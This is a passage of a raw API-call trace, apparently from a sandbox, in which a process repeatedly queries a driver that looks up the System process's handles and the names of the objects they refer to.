(ApcState=0xfffff880044355d0) [0119.441] PsReleaseProcessExitSynchronization () returned 0x2 [0119.441] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.441] ObQueryNameString (in: Object=0xfffffa800c9c02a0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.441] ObfDereferenceObject (Object=0xfffffa800c9c02a0) returned 0x2 [0119.441] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.441] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.441] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.441] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0119.441] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.441] PsAcquireProcessExitSynchronization () returned 0x0 [0119.441] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.441] ObReferenceObjectByHandle (in: Handle=0xffffffff80000384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031a6400, HandleInformation=0x0) returned 0x0 [0119.441] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.441] PsReleaseProcessExitSynchronization () returned 0x2 [0119.441] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.441] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.441] ObfDereferenceObject (Object=0xfffffa80031a6400) returned 0x1 [0119.441] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.442] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.442] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.442] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0119.442] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.442] PsAcquireProcessExitSynchronization () returned 0x0 [0119.442] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.442] ObReferenceObjectByHandle (in: Handle=0xffffffff80000388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003195a90, HandleInformation=0x0) returned 0x0 [0119.442] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.442] PsReleaseProcessExitSynchronization () returned 0x2 [0119.442] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.442] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.442] ObfDereferenceObject (Object=0xfffffa8003195a90) returned 0x1 [0119.442] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.442] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.442] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.442] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0119.442] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.442] PsAcquireProcessExitSynchronization () returned 0x0 [0119.442] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.442] ObReferenceObjectByHandle (in: Handle=0xffffffff8000038c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031a3590, HandleInformation=0x0) returned 0x0 [0119.442] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.442] PsReleaseProcessExitSynchronization () returned 0x2 [0119.442] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.442] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.442] ObfDereferenceObject (Object=0xfffffa80031a3590) returned 0x1 [0119.442] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.442] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.442] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.442] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x64, lpOverlapped=0x0) returned 1 [0119.442] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.442] PsAcquireProcessExitSynchronization () returned 0x0 [0119.442] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.442] ObReferenceObjectByHandle (in: Handle=0xffffffff80000390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f61820, HandleInformation=0x0) returned 0x0 [0119.443] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.443] PsReleaseProcessExitSynchronization () returned 0x2 [0119.443] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.443] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.443] ObfDereferenceObject (Object=0xfffffa8002f61820) returned 0x4 [0119.443] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.443] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.443] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.443] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0119.443] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.443] PsAcquireProcessExitSynchronization () returned 0x0 [0119.443] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.443] ObReferenceObjectByHandle (in: Handle=0xffffffff80000394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031a8d50, HandleInformation=0x0) returned 0x0 [0119.443] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.443] PsReleaseProcessExitSynchronization () returned 0x2 [0119.443] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.443] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.443] ObfDereferenceObject (Object=0xfffffa80031a8d50) returned 0x1 [0119.443] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.443] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.443] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.443] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0119.443] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.443] PsAcquireProcessExitSynchronization () returned 0x0 [0119.443] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.443] ObReferenceObjectByHandle (in: Handle=0xffffffff80000398, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031a9f20, HandleInformation=0x0) returned 0x0 [0119.443] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.443] PsReleaseProcessExitSynchronization () returned 0x2 [0119.443] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.443] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.443] ObfDereferenceObject (Object=0xfffffa80031a9f20) returned 0x1 [0119.443] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.443] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.443] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.443] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0119.444] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.444] PsAcquireProcessExitSynchronization () returned 0x0 [0119.444] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.444] ObReferenceObjectByHandle (in: Handle=0xffffffff800003a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031aa7c0, HandleInformation=0x0) returned 0x0 [0119.444] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.444] PsReleaseProcessExitSynchronization () returned 0x2 [0119.444] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.444] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.444] ObfDereferenceObject (Object=0xfffffa80031aa7c0) returned 0x1 [0119.444] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.444] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.444] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.444] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.444] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.444] PsAcquireProcessExitSynchronization () returned 0x0 [0119.444] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.444] ObReferenceObjectByHandle (in: Handle=0xffffffff800003b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031d7c80, HandleInformation=0x0) returned 0x0 [0119.444] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.444] PsReleaseProcessExitSynchronization () returned 0x2 [0119.444] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.444] ObQueryNameString (in: Object=0xfffffa80031d7c80, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.444] ObfDereferenceObject (Object=0xfffffa80031d7c80) returned 0x2 [0119.444] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.444] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.444] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.444] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0119.444] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.444] PsAcquireProcessExitSynchronization () returned 0x0 [0119.444] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.444] ObReferenceObjectByHandle (in: Handle=0xffffffff800003cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f699f0, HandleInformation=0x0) returned 0x0 [0119.444] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.444] PsReleaseProcessExitSynchronization () returned 0x2 [0119.444] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.444] ObQueryNameString (in: Object=0xfffffa8002f699f0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.444] ObfDereferenceObject (Object=0xfffffa8002f699f0) returned 0x1 [0119.444] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.445] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.445] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.445] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0119.445] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.445] PsAcquireProcessExitSynchronization () returned 0x0 [0119.445] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.445] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f698a0, HandleInformation=0x0) returned 0x0 [0119.445] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.445] PsReleaseProcessExitSynchronization () returned 0x2 [0119.445] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.445] ObQueryNameString (in: Object=0xfffffa8002f698a0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.445] ObfDereferenceObject (Object=0xfffffa8002f698a0) returned 0x1 [0119.445] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.445] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.445] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.445] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xde, lpOverlapped=0x0) returned 1 [0119.445] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.445] PsAcquireProcessExitSynchronization () returned 0x0 [0119.445] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.445] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f66340, HandleInformation=0x0) returned 0x0 [0119.445] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.445] PsReleaseProcessExitSynchronization () returned 0x2 [0119.445] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.445] ObQueryNameString (in: Object=0xfffffa8002f66340, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.445] ObfDereferenceObject (Object=0xfffffa8002f66340) returned 0x2 [0119.445] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.445] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.445] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.445] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0119.445] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.445] PsAcquireProcessExitSynchronization () returned 0x0 [0119.445] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.445] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f64f20, HandleInformation=0x0) returned 0x0 [0119.445] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.446] PsReleaseProcessExitSynchronization () returned 0x2 [0119.446] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.446] ObQueryNameString (in: Object=0xfffffa8002f64f20, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.446] ObfDereferenceObject (Object=0xfffffa8002f64f20) returned 0x1 [0119.446] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.446] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.446] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.446] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0119.446] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.446] PsAcquireProcessExitSynchronization () returned 0x0 [0119.446] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.446] ObReferenceObjectByHandle (in: Handle=0xffffffff800003dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80028dde80, HandleInformation=0x0) returned 0x0 [0119.446] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.446] PsReleaseProcessExitSynchronization () returned 0x2 [0119.446] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.446] ObQueryNameString (in: Object=0xfffffa80028dde80, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.446] ObfDereferenceObject (Object=0xfffffa80028dde80) returned 0x2 [0119.446] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.446] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.446] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.446] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0119.446] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.446] PsAcquireProcessExitSynchronization () returned 0x0 [0119.446] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.446] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f69480, HandleInformation=0x0) returned 0x0 [0119.446] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.446] PsReleaseProcessExitSynchronization () returned 0x2 [0119.446] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.446] ObQueryNameString (in: Object=0xfffffa8002f69480, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.446] ObfDereferenceObject (Object=0xfffffa8002f69480) returned 0x2 [0119.446] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.446] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.446] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.446] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0119.447] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.447] PsAcquireProcessExitSynchronization () returned 0x0 [0119.447] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.447] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031dec90, HandleInformation=0x0) returned 0x0 [0119.447] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.447] PsReleaseProcessExitSynchronization () returned 0x2 [0119.447] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.447] ObQueryNameString (in: Object=0xfffffa80031dec90, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.447] ObfDereferenceObject (Object=0xfffffa80031dec90) returned 0x1 [0119.447] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.447] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 